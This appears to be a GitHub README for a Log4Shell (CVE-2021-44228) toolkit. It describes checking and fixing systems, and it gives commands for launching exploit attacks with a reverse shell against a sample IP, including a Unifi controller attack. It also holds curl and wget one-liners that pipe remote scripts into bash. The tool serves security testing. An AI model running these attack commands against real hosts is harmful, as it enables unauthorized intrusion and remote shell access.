/log4shell4shell

Log4shell - Multi-Toolkit. Find, Fix & Test possible CVE-2021-44228 vulneraries - provides a complete LOG4SHELL test/attack environment on shell

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log4shell4shell

Log4j - Multitool. Find & fix possible CVE-2021-44228 vulneraries - provides a complete LOG4SHELL test/attack environment

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Features

  • Check your Linux/Mac/BSD and Windows System for CVE-2021-44228 vulneraries
  • Fix your system by deleting log4j java class / or setting some enviroment variables
  • Proof of Concept: you can run a dummy spring boot server for testing the exploit by yourself (https://github.com/christophetd/log4shell-vulnerable-app)
  • You can run a attack against a wished IP-Port and include a Base64 Command / Or A simple Reverse Shell
  • Full ip-range scanning by https://github.com/fullhunt/log4j-scan

How to Run on Linux/Mac/BSD:

Requirements:

  • https://docs.docker.com/get-docker/
  • Debian / Ubuntu: apt update ; apt install default-jre screen python3-pip bash curl
  • OpenSuse: zypper ref ; zypper in default-jre screen python3-pip bash curl
  • Redhead-Linux / CentOS: yum clean; yum install default-jre screen python3-pip bash curl
  • BSD pkg: pkg install default-jre screen python3-pip curl
  • Mac OS (Brew): /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ; brew install default-jre screen python3 pip

Quick check your system with this oneliner:

wget https://raw.githubusercontent.com/suuhm/log4shell4shell/main/log4shell4shell.sh -qO- | bash -s -- --check-system

More Options

Run a sample attack against IP: 10.4.4.20 Port 8080 loginpage and additionally a Reverse Proxy Shell:

git clone https://github.com/suuhm/log4shell4shell ; cd log4shell4shell
mv log4shell4shell.sh l4s4s.sh && chmod +x l4s4s.sh
./l4s4s.sh --run-attack http://10.4.4.20:8080/login.php -e

Run screen -r l4s4s-ldap-srv and/or screen -r l4s4s-nc-rsh to view some attacking infos in Exploit-Server shell:

Run a full scan IP: 10.4.4.20 Port 8080 and additionally a try all tests :

./l4s4s.sh --python-scan "-u 10.4.4.20:8080 --run-all-tests"

Run a Proof of Concept on a Tomcat Springboot Server:

./l4s4s.sh --run-dummy-server && \
./l4s4s.sh --run-attack http://127.0.0.1:4280 -e

Run a Unifi-Controller Exploit Attack/Check (on 10.4.4.20:8443):

./l4s4s.sh --run-attack 10.4.4.20:8443 -e --unifi-post

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 > Running Log4shell Framework & Check-Toolkit on shell v0.1a (C) 2021 suuhm

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Usage: ./l4s4s.sh [OPTIONS] <IP:PORT|COMMAND>

                        --get-powershell-finder
                        --check-system
                        --fix-log4j
                        --run-dummy-server <JNDIExploit.*.zip>
                        --run-attack <FORMAT: IP:PORT> <-e/-t/'cmd'> [--unifi-post]
                        --python-scan <command>

How to upgrade your linux and/or macos python version:

Just run my helper-script (--list-versions): ./python-upgrader.sh

How to run on Windows x86 / x64:

Just run in Powershell (admin-mode): .\set_windows_fix.ps1

This script is alpha! So please let me know if you have some issues

Legal Disclaimer

The project log4shell4shell is made for educational and ethical testing purposes only. Usage of log4j-scan for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.